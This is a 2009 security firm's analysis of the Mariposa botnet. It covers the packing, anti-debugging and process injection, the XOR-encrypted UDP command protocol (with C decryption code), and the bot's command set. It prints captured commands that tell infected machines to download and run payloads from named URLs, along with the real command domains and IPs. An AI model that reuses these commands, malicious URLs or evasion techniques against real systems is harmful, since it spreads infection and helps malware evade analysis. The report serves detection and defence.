

# DefenceIntelligence.

## **Mariposa Botnet Analysis**

Defence Intelligence  
Thursday October 8th, 2009

# 1. Mariposa Overview

Mariposa was first observed in May of 2009 by Defence Intelligence as an emerging botnet. In recent months, Mariposa has shown a significant increase in beaconing traffic to its command and control servers. This is indicative of an increasingly high number of compromised computers actively participating in the Mariposa botnet.

The most dangerous capability of this botnet is that arbitrary executable programs are downloaded and executed on command. This allows the bot master to infinitely extend the functionality of the malicious software beyond what is implemented during the initial compromise. In addition, the malware can be updated on command to a new variant of the binary, effectively reducing or eliminating the detection rates of traditional host detection methods.

Commands from the botnet master may be directed at participants in a specific country, individual computers, or all computers. As a result, the observation of the live command and control channel may not include all of the activity and capabilities of Mariposa.

The command and control channel employs custom encrypted UDP datagrams to receive instructions and transmit data. A detailed analysis of the encryption and message formats used by the protocol are presented in this paper.

During empirical analysis of internal controlled compromised systems, the following DNS domain names were observed as the command and control servers:

- lalundelau.sinip.es
- bf2back.sinip.es
- thejacksonfive.mobi
- butterfly.BigMoney.biz
- bfisback.sinip.es
- qwertasdfg.sinip.es

Over the last two weeks of analysis, two unique malicious programs were downloaded and executed on the compromised computers. One malware update was received during this period, introducing new command and control domain names, adding a 'confirmation of download' message, and renaming ASCII commands.

It has also been observed that the botnet participants are receiving Google custom search engine URL fragments in a command from the bot master. This indicates a possible hijacking of Google AdSense advertisement revenue.

This paper details the result of static binary analysis, a review of the command and control protocols including a breakdown of the encryption, and empirical behaviour analysis findings.

## 2. Traditional Detection Rates

Two samples of the botnet client malware were submitted to VirusTotal.

The MD5 hash of the original sample is f4e2c305ef2d38b6d4e4be9d19de16ed. As of October 8th, this variant of the binary was detected by 36 out of 41 anti-virus vendors according to VirusTotal.

File **f4e2c305ef2d38b6d4e4be9d19de16ed**. received on **2009.10.08 16:03:40 (UTC)**  
Current status: **finished**  
Result: **36/41 (87.80%)**

The MD5 hash of the updated sample is 98812839bd6597ec86fad72a0f20d4e5. This variant of the binary was detected by 14 out of 41 anti-virus vendors according to VirusTotal. It is clear that binary updates are active and are intended to reduce the anti-virus detection rates.

File **449.exe** received on **2009.10.04 18:22:56 (UTC)**  
Current status: **finished**  
Result: **14/41 (34.15%)**

Two of the payload binaries that were downloaded and executed through the Mariposa botnet were also submitted to VirusTotal.

The executable payload “81.exe” with the MD5 hash 56902dc35453158a34e85db5b590ab19 that was commanded to be executed on October 4th had a detection rate of 3 out of 41.

File **81\_1\_** received on **2009.10.08 18:36:41 (UTC)**  
Current status: **finished**  
Result: **3/41 (7.32%)**

The executable payload “8” with the MD5 hash c4e13b7cb9425ef18d95d446cad9c3e0 that was commanded to be executed on October 2nd had a detection rate of 6 out of 41.

File **8.exe** received on **2009.10.01 14:02:06 (UTC)**  
Current status: **finished**  
Result: **6/41 (14.64%)**

### 3. Static Binary Analysis

Static binary analysis was performed on a selected sample prior to October 4th, and on the updated binary received on October 4th. of malware that participates in the Mariposa botnet. The latter sample was used to analyze the remote thread in Section 3.3 to provide the most recent information. The methods used for obfuscation, packing and anti-debugging are pertinent to both of the analyzed samples.

#### 3.1. Obfuscation and Packing

The program entry point begins with an obfuscated loop that contains a mixture of meaningless SIMD and FPU instructions. At the end of the loop, the code jumps to an address that begins to XOR the .text section of the image in RAM with the constant 0x0CB2DC4AA.

The address of the decoded .text section is pushed onto the stack, and a RETN instruction is used to pass control to the decoded code. This code starts the anti-debugging techniques described in Section 3.2.

## 3.2. Anti-Debugging

Four anti-debugging techniques are used in the packed binary to prevent runtime debugging of the unpacker and binary dropping process. The program will crash if a debugger is detected.

Two anti-debugging techniques are used in the second stage dropped binary, as well as the update executables.

### 3.2.1. OutputDebugStringA() Return Value

OutputDebugStringA() is called with a valid ASCII string. The return value in the EAX register is added with the address of the next instruction. If the process is under debugger control, the EAX register will contain the address of the ASCII string, causing the upcoming RETN instruction to jump to a bad address.

To circumvent this anti-debugger technique, set the EAX register to 0 before executing the ADD instruction.

### 3.2.2. Stack Segment Register

The stack segment register technique is also used to prevent debugging of the process. See <http://www.securityfocus.com/infocus/1893> (6) Stack Segment register

### 3.2.3. NtQueryInformationProcess()

The NtQueryInformationProcess() function in ntdll is used to determine if a DebugPort is currently available for the process. The return value of the function is checked to determine if the process is under debugger control.

### 3.2.4. OllyDbg Crash

A specific sequence of bytes is placed in the .text section that exploits a weakness in the OllyDbg disassembler. When OllyDbg attempts to display the disassembly for this sequence of bytes the OllyDbg process will crash.

*This issue does not exist with the latest Version 2 Beta2 of OllyDbg.*

### 3.2.5. BeingDebugged Flag

The first anti-debugging technique uses the BeingDebugged flag in the Process Environment Block (PEB). If the flag does not equal 0, the program exits gracefully.

D Dump - 7FFDF000..7FFDFFFF			
Address	Hex dump	Decoded	Comments
7FFDF000	• 00	DB 00	InheritedAddressSpace = 0
7FFDF001	• 00	DB 00	ReadImageFileExecOptions = 0
7FFDF002	• 01	DB 01	BeingDebugged = TRUE
7FFDF003	• 00	DB 00	SpareBool = FALSE

0011FAC8	64:8B1D 300000	MOV EBX,DWORD PTR FS:[30]	Get pointer to Process Environment Block
0011FACF	8A5B 02	MOV BL,BYTE PTR DS:[EBX+2]	Get BeingDebugged Value
0011FAD2	885D FB	MOV BYTE PTR SS:[EBP-5],BL	
0011FAD5	0FBE4D FB	MOVSX ECX,BYTE PTR SS:[EBP-5]	
0011FAD9	85C9	TEST ECX,ECX	Test if BeingDebugged == 0
0011FADB	74 07	JE SHORT 0011FAE4	Jump if BeingDebugged == 0
0011FADD	33C0	XOR EAX,EAX	Return = 0 (Failure)
0011FAE0	E9 33020000	JMP 0011FD17	Jump to Return
0011FAE4	64:8B0D 300000	MOV ECX,DWORD PTR FS:[30]	Continue here if BeingDebugged == 0

### 3.2.6.NtGlobalFlag DebugHeap

The second anti-debugging technique uses the DebugHeap flag in the NtGlobalFlag word in the Process Environment Block (PEB). If the DebugHeap flag is set, the program exits gracefully.

0011FAE8	8B59 68	MOV EBX,DWORD PTR DS:[ECX+68]	Get NtGlobalFlag Value
0011FAEE	899D E0FEFFFF	MOV DWORD PTR SS:[EBP-120],EBX	
0011FAF4	8B95 E0FEFFFF	MOV EDX,DWORD PTR SS:[EBP-120]	EDX = NtGlobalFlag Value
0011FAFA	83E2 70	AND EDX,00000070	EDX &= 0x70 (DebugHeap)
0011FAFD	74 07	JE SHORT 0011FB06	Jump if NtGlobalFlag & 0x70 == 0
0011FAFF	33C0	XOR EAX,EAX	Return = 0 (Failure)
0011FB01	E9 11020000	JMP 0011FD17	Jump to Return

## 3.3.Remote Thread

### 3.3.1.Injection

A remote process executable name is taken from the strings in the decoded .data section. The injection enumerates the process list using Process32First() and Process32Next() comparing the result with the string “explorer.exe”. If the process is found, the process ID is returned.

Using the process ID of the target, VirtualAllocEx() is used to allocate five memory regions in the target process’ virtual address space.

Data is copied from regions of resident memory into the target using ZwWriteVirtualMemory(). These regions include the thread code, data, the [Autorun] string used by the USB spreader, pointers to library imports, a region containing the target binary name, and “Desktop.ini”.

Following injection of the data into the target process, CreateRemoteThread() is called to start a new thread inside the target process.

During the analysis process, the string “explorer.exe” was changed to another process name to have the thread injected and run in another binary running under the OllyDbg debugger. A breakpoint was added to the thread entry point to stop execution upon thread creation.

The parameters to the CreateRemoteThread() function are on the stack containing the process ID of the target and the StartAddress for the thread in the virtual address space of the target process.

```

0011D9A4 | 00000048 | H... | hRemoteProcess = 00000048
0011D9A8 | 00000000 | .... | pSecurity = NULL
0011D9AC | 00000000 | .... | StackSize = 0
0011D9B0 | 003D1BE0 | α+-. | StartAddress = 3D1BE0
0011D9B4 | 003F0000 | ..?. | pParameter = 003F0000 -> user32.MessageBoxA
0011D9B8 | 00000000 | .... | CreationFlags = 0
0011D9BC | 0011E2C8 | 4Γ4. | pThreadId = 0011E2C8 -> 3F

001215E2 8380 F4F6FFF MOV DWORD PTR SS:[EBP-90C],0
001215E9 75 05 JNE SHORT 001215F0
001215EA E9 B5000000 JMP 00121685
001215F0 84 402C4000 MOV EDX,402C40
001215F5 2B95 9CF7FFFF SUB EDX,DWORD PTR SS:[EBP-864]
001215F8 8995 F0F6FFFF MOV DWORD PTR SS:[EBP-910],EDX
00121601 8D45 F8 LEA EDI,[EBP-8]
00121604 50 PUSH EAX
00121605 6A 00 PUSH 0
00121607 8B80 F4F6FFFF MOV ECX,DWORD PTR SS:[EBP-90C]
0012160D 51 PUSH ECX
0012160E 8B95 F0F6FFFF MOV EDI,DWORD PTR SS:[EBP-910]
00121614 52 PUSH EDI
00121615 6A 00 PUSH 0
00121617 6A 00 PUSH 0
00121619 8B95 90F7FFFF MOV ECX,DWORD PTR SS:[EBP-870]
0012161F 50 PUSH EAX
00121620 8B4D 08 MOV ECX,DWORD PTR SS:[EBP+8]
00121623 8B91 A0000000 MOV EDI,DWORD PTR DS:[ECX+0A0]
00121629 FF72 EDI CALL EDI
0012162B 8945 F4 MOV DWORD PTR SS:[EBP-0C],EAX

EAX: 77E7BC9F kernel32.CreateRemoteThread
EBX: 0011F798
ESP: 0011D9A4
EBP: 0011E2D0
ESI: 0040105F stage2.0040105F
EDI: FFFFFFFF
EIP: 00121629
C 0 ES 0023 32bit 0(FFFFFFFF)
P 0 CS 001B 32bit 0(FFFFFFFF)
D 0 SS 0023 32bit 0(FFFFFFFF)
Z 0 DS 0023 32bit 0(FFFFFFFF)
S 0 FS 0028 32bit 7FDE000(FFF)
T 0 GS 0000 NULL
D 0
I 0 LastErr: 00000000 ERROR_SUCCESS
EFL 00000202 (NO,NB,NE,A,NS,PO,GE,G)
ST0 empty 0.0
ST1 empty -UNORN 891C 77D45315 00000000
ST2 empty 0.0

```

### 3.3.2. Functionality

- The thread that is started in the target process performs the following:
- copies the source binary filename to the C:\RECYCLER folder as “dllrun32.exe”. It loads ws2\_32.dll, advapi32.dll, user32.dll, wininet.dll, and shell32.dll.
  - calls WSASStartup() to initialize the sockets API.
  - modifies the Winlogin registry entries to enable the bot to start at boot
  - creates a named pipe: “\\.\pipe\nemntkentkjk”
  - calls InternetOpenA(“Mozilla”)
  - calls RegisterClassExA “nonoclass”
  - calls CreateWindowExA “nonoclass” with WS\_OVERLAPPED flag

A loop is entered that starts by decoding the command and control DNS names from RAM, in the first case “lalundelau.sinip.es” is retrieved.

For each command and control domain:

- PeekMessageA() is called.
- socket() is called to create a socket.
- ioctlsocket() is called.
- gethostbyname() is called to perform a DNS resolution of the decoded command and control domain name.
- htons(5096) is called to get the target port in network byte order.
- the string “bpr2” is encrypted and sent to the command and control server with sendto(). This is the initial association command sent to the command and control server.

Further static analysis was not performed as the encryption method was determined at this point. Analysis has been focused on the command and control protocol and empirical behaviour. Refer to Section 4, and Section 5 for further details.

## 4. Command and Control Protocol Analysis

### 4.1. Overview

The command and control protocol uses a 3 byte header which contains an opcode, a 2 byte sequence number, and an encrypted payload. The encryption scheme is described in Section 4.2.

Byte Position			
0	1	2	3..n
Opcode	SeqNum Low	SeqNum High	Encrypted Payload

Opcodes:

- 0x01: Command/Response
- 0x61: Join server message
- 0x40: Join server acknowledgement
- 0x80: Acknowledgement

The first byte of the decrypted payload contains a Command Type. The following table shows the command types that were observed on the command and control channel. The 0xDA Command Type was observed once on October 5th and contained 120 bytes of binary data.

Command Type	Description	Payload Length
0x12 (If opcode==0x40)	32 bit IP Address	4 bytes
0x12 (If opcode==0x01)	System Information/ Country Code from bot to server	Variable
0x14	ASCII String	Variable
0x51	Disconnect C&C	0
0x62	Connect "bpr2" string	4 bytes
0xD1	Binary/ASCII String	Variable
0xDA	Unknown binary data	120 (Observed)

## 4.2. Encryption

The encryption is a basic XOR of each ciphertext byte using two alternating values. The XOR values are recovered from the sequence numbers and the bitwise not of the payload length.

The following code demonstrates the encryption/decryption process.

```

uint8_t not;
uint8_t xor[2];
uint8_t alt;

not = ~(uint8_t)payload_length;
xor[0] = not ^ data[1];
xor[1] = not ^ data[2];

for(pos=3;pos<length;pos++)
{
    data[pos] = data[pos] ^ xor[alt];

    // Alternate the XOR value array index
    alt ^= 1;
}

```

<pre> 009AAA30 8A95 6CFAFFFF MOV DL, BYTE PTR SS:[EBP-594] 009AAA36 8895 78FAFFFF MOV BYTE PTR SS:[EBP-588], DL 009AAA3C 8BE85 78FAFFFF MOVSX EAX, BYTE PTR SS:[EBP-588] 009AAA43 F7D8 NOT EAX 009AAA45 8885 78FAFFFF MOV BYTE PTR SS:[EBP-588], AL 009AAA4B 8A8D 78FAFFFF MOV CL, BYTE PTR SS:[EBP-588] 009AAA51 838D 79FAFFFF MOV BYTE PTR SS:[EBP-587], CL 009AAA57 0FBE95 6BFAFFFF MOVSX EDX, BYTE PTR SS:[EBP-595] 009AAA5E 0FBE85 78FAFFFF MOVSX EAX, BYTE PTR SS:[EBP-588] 009AAA65 33C2 XOR EAX, EDX 009AAA67 8885 78FAFFFF MOV BYTE PTR SS:[EBP-588], AL 009AAA67 0FBEBD 6AFAFFFF MOVSX ECX, BYTE PTR SS:[EBP-596] 009AAA74 0FBE95 79FAFFFF MOVSX EDX, BYTE PTR SS:[EBP-587] 009AAA7B 33D1 XOR EDX, ECX 009AAA7D 8895 79FAFFFF MOV BYTE PTR SS:[EBP-587], DL 009AAA83 C785 7CFAFFFF MOV DWORD PTR SS:[EBP-584], 0 009AAA8D C785 74FAFFFF MOV DWORD PTR SS:[EBP-58C], 0 009AAA97 EB 0F JMP SHORT 009AAA98 009AAA99 8B85 7CFAFFFF MOV EAX, DWORD PTR SS:[EBP-584] 009AAA9F 83C0 01 ADD EAX, 1 009AAA2 8985 7CFAFFFF MOV DWORD PTR SS:[EBP-584], EAX 009AAA83 8B8D 7CFAFFFF MOV ECX, DWORD PTR SS:[EBP-584] 009AAA8E 3B8D 6CFAFFFF CMP ECX, DWORD PTR SS:[EBP-594] 009AAA84 74 4E JGE SHORT 009AA804 009AAA86 8B95 74FAFFFF MOV EDX, DWORD PTR SS:[EBP-58C] 009AAA8C 0FBEB415 78FAFFFF MOVSX EAX, BYTE PTR SS:[EDX+EBP-588] 009AAA84 8B8D 70FAFFFF MOV ECX, DWORD PTR SS:[EBP-590] 009AAA8C 038D 7CFAFFFF ADD ECX, DWORD PTR SS:[EBP-584] 009AAA80 0FBEB1 MOVSX EDX, BYTE PTR DS:[ECX] 009AAA83 33D0 XOR EDX, EAX 009AAA85 8B85 70FAFFFF MOV EAX, DWORD PTR SS:[EBP-590] 009AAA8B 0385 7CFAFFFF ADD EAX, DWORD PTR SS:[EBP-584] 009AAA8E 8810 MOV BYTE PTR DS:[EAX], DL 009AAA8E 838D 74FAFFFF CMP DWORD PTR SS:[EBP-58C], 0 009AAA8E 74 0C JE SHORT 009AAAF8 009AAA8E C785 74FAFFFF MOV DWORD PTR SS:[EBP-58C], 0 </pre>	<pre> DL is length? EAX = Length byte bitwise not length Store low byte of NOT in first XOR value Store low byte of NOT in low byte of ECX Store first XOR value in second XOR value Store sequence number in EDX Store low byte of NOT in EAX Second XOR value = first XOR sequence Store second XOR value Second sequence number Get first XOR value EDX = sequence2 XOR first XOR value Store first XOR value  Load payload offset from stack Increment payload offset Store payload offset on stack Get offset into ECX Compare offset with length Encryption Complete Initially zero Alternate between two XOR values Payload pointer Payload offset Move payload byte into EDX  Overwrite with ciphertext  Set XOR alternate flag to 0 </pre>
---	---

The screenshot above shows the disassembly of the decryption loop being debugged in the remote thread.

### 4.3.Command Set

Commands are sent from the command and control server to the bot process as encrypted ASCII messages. The following table shows the commands that have been observed on the command and control channel of the Mariposa botnet.

As of October 4th, the 'download' command has been renamed to 'trinka'.

Command	Description
alinfiernoya	Remove the bot
trinka <download URL>	Download and run executable
pillaestenuevoya <update URL>	Update Malware
gg0	Disable google
gg1 <google custom search info>	Enable google
ch1 <IP address list>	Channel IP list
u1	Enable USB Spreader
u0	Disable USB Spreader
s1 <channel number>	Silence channel
m0	Disable MSN Spreader
m1 <URL>	Enable MSN Spreader

## 5. Empirical Behaviour Analysis

### 5.1.Observation Environment

The observation environment consists of two compromised Windows XP Pro SP2 computers. Each computer has a public static IP address, connected to a switch and a Linux router. The tcpdump utility was used on the Linux router to capture packets with a MAC address filter to retrieve separate dumps for each compromised system.

### 5.2.Domain Resolution Queries

Prior to the update on October 4th, the following DNS lookups were observed:

- butterfly.BigMoney.biz
- bfisback.sinip.es
- qwertasdfg.sinip.es

Following the October 4th update, the ensuing DNS lookups were observed:

- lalundelau.sinip.es
- bf2back.sinip.es
- thejacksonfive.mobi

### 5.3.UDP Command and Control Connections

Connections were observed to the following IP addresses:

- 62.128.52.191
- 200.74.244.84
- 66.197.176.41
- 24.173.86.145
- 74.208.162.142
- 87.106.179.75
- 204.16.173.30
- 76.73.56.12

Connections were observed using the following ports (listed chronologically):

- 5906
- 5907
- 3431
- 3435
- 3437
- 3434
- 3433

### 5.4.Decrypted Command and Control Commands

The command and control communication channel is initiated by the bot sending a UDP message containing the connect command to the server.

```
Mariposa UDP x.x.144.158:1156 -> 200.74.244.84:3431 Payload [7]: 61 A2 24 62 70 72 32 Connect.
```

The server responds with the 0x40 opcode, with the 0x12 command type followed by the 4 byte IP address. (The first two IP octets have been replaced with 'x')

```
Mariposa UDP 200.74.244.84:3431 -> x.x.144.158:1156 Payload [8]: 40 A2 24 12 x x 90 9E
```

The bot responds to the server with the system information, country code, user name, and computer name. The system information has not been deciphered but is believed to contain Windows version and service pack information.

```
Mariposa UDP x.x.144.158:1156 -> 200.74.244.84:3431 Payload [34]: 01 A2 24 12 92 6E C9 09 00 55  
53 41 40 46 75 7A 7A 00 66 75 7A 7A 2D 34 33 39 31 34 33 32 61 31 64 00 <92>n<C9>  
^@USA@Fuzz^@fuzz-4391432a1d^@
```

Periodically, commands are sent to silence channels, such as:

```
Mariposa UDP 200.74.244.84:3431 -> x.x.144.158:1156 Payload [8]: 01 2B 05 14 73 31 20 33 s1 3
```

The USB spreader enable command is sent periodically:

Mariposa UDP 200.74.244.84:3431 -> x.x.144.158:1156 Payload [6]: 01 2C 05 14 75 31 u1

The MSN spreader enable command is sent periodically, with a URL:

Mariposa UDP 200.74.244.84:3431 -> x.x.144.158:1156 Payload [29]: 01 2D 05 14 6D 31 20 68 74 74 70 3A 2F 2F 6F 62 61 6D 61 77 65 62 63 61 6D 2E 63 6F 6D m1 <http://obamawebcam.com>

The gg0 and gg1 commands are sent periodically, which appear to be a part of a URL related to google custom search engines:

Mariposa UDP 66.197.176.41:3437 -> x.x.144.158:1399 Payload [7]: 01 27 27 14 67 67 30 gg0  
Mariposa UDP 66.197.176.41:3437 -> x.x.144.158:1399 Payload [71]: 01 28 27 14 67 67 31 20 26 63 73 65 3D 63 73 65 2D 73 65 61 72 63 68 2D 62 6F 78 26 63 78 3D 70 61 72 74 6E 65 72 2D 70 75 62 2D 37 36 33 37 37 39 35 35 30 32 34 39 39 37 36 3A 37 65 31 72 39 6B 2D 6C 30 76 38 gg1  
&cse=cse-search-box&cx=partner-pub-7637779550249976:7e1r9k-l0v8

The ch1 command is sent periodically with various IP addresses. Connections to these IP addresses have not yet been observed.

Mariposa UDP 200.74.244.84:3434 -> x.x.144.158:1409 Payload [148]: 01 F7 61 14 63 68 31 20 32 30 38 2E 35 33 2E 31 38 33 2E 35 32 40 37 32 2E 35 32 2E 35 2E 37 37 3B 39 33 2E 39 30 2E 32 32 2E 31 31 37 40 32 30 30 2E 36 2E 32 37 2E 31 36 2C 36 39 2E 32 35 2E 31 36 30 2E 32 30 31 2C 31 39 30 2E 36 36 2E 36 2E 31 35 2C 32 30 30 2E 33 32 2E 38 30 2E 31 33 32 2C 32 30 30 2E 31 36 2E 35 30 2E 36 30 2C 31 39 30 2E 36 36 2E 36 2E 32 36 2C 32 30 30 2E 33 31 2E 32 30 36 2E 38 33 2C 37 32 2E 35 32 2E 35 2E 37 37 3B ch1  
[208.53.183.52@72.52.5.77](mailto:208.53.183.52@72.52.5.77);[93.90.22.117@200.6.27.16](mailto:93.90.22.117@200.6.27.16),69.25.160.201,190.66.6.15,200.32.80.132,200.16.50.60,190.66.6.26,200.31.206.83,72.52.5.77;

A download command was received on September 30th:

Mariposa UDP 66.197.176.41:3434 -> x.x.144.158:2607 Payload [52]: 01 57 15 14 64 6F 77 6E 6C 6F 61 64 20 68 74 74 70 3A 2F 2F 72 61 70 69 64 73 68 61 72 65 2E 63 6F 6D 2F 66 69 6C 65 73 2F 32 38 37 33 30 33 35 32 38 2F 38 download <http://rapidshare.com/files/287303528/8>

An update command was received on October 4th:

Mariposa UDP 200.74.244.84:5907 -> x.x.144.158:1373 Payload [56]: 01 16 1E 14 70 69 6C 6C 61 65 73 74 65 6E 75 65 76 6F 79 61 20 68 74 74 70 3A 2F 2F 70 36 70 68 6F 74 6F 67 72 61 70 68 65 72 73 2E 63 6F 6D 2F 69 6D 61 67 65 73 2F 78 pillaestenuvoya <http://p6photographers.com/images/x>

A new MSN spreader URL was observed on October 4th:

Mariposa UDP 66.197.176.41:3437 -> 76.10.144.158:4989 Payload [28]: 01 BE 05 14 6D 31 20 68 74 74 70 3A 2F 2F 68 69 35 70 68 6F 74 6F 73 2E 69 6E 66 6F m1 <http://hi5photos.info>

On October 7th, the following command and control traffic was observed:

Mariposa UDP 66.197.176.41:3437 -> x.x.144.158:4989 Payload [71]: 01 B8 05 14 67 67 31 20 26 63 73 65 3D 63 73 65 2D 73 65 61 72 63 68 2D 62 6F 78 26 63 78 3D 70 61 72 74 6E 65 72 2D 70 75 62 2D 36 39 39 35 30 31 30 33 33 31 38 30 39 38 37 31 3A 70 74 6D 61 6D 75 35 67 36 70 37 gg1  
&cse=cse-search-box&cx=partner-pub-6995010331809871:ptmamu5g6p7  
Mariposa UDP 66.197.176.41:3437 -> x.x.144.158:4989 Payload [52]: 01 B9 05 14 74 72 69 6E 6B 61 20 68 74 74 70 3A 2F 2F 72 61 70 69 64 73 68 61 72 65 2E 63 6F 6D 2F 66 69 6C 65 73 2F 32 38 39 38 36 37 31 36 31 2F 64 6C 72 trinka <http://rapidshare.com/files/289867161/dlr>

The following messages have not been observed before this. It may be a confirmation that the 'dlr' binary was successfully installed:

Mariposa UDP x.x.144.158:4989 -> 66.197.176.41:3437 Payload [16]: 0D 63 37 D1 02 91 7C 9B 01 91  
44 6F 6E 65 21 20 ?!??Done!  
Mariposa UDP x.x.144.158:4989 -> 66.197.176.41:3437 Payload [54]: 0D 64 37 D1 00 43 00 6F 00 6E  
44 6F 6E 65 21 20 43 3A 5C 44 4F 43 55 4D 45 7E 31 5C 46 75 7A 7A 5C 4C 4F 43 41 4C 53 7E 31  
5C 54 65 6D 70 5C 30 30 36 2E 65 78 65 ConDone! C:\DOCUME~1\Fuzz\LOCALS~1\Temp\006.exe

A download command was received on October 8th, note using the new 'trinka' command of the new bot variant that was pushed on October 4th:

Mariposa UDP 200.74.244.84:3431 -> x.x.144.158:1302 Payload [51]: 01 E4 38 14 74 72 69 6E 6B 61  
20 68 74 74 70 3A 2F 2F 72 61 70 69 64 73 68 61 72 65 2E 63 6F 6D 2F 66 69 6C 65 73 2F 32 39 30  
32 32 33 37 34 35 2F 38 31 trinka <http://rapidshare.com/files/290223745/81>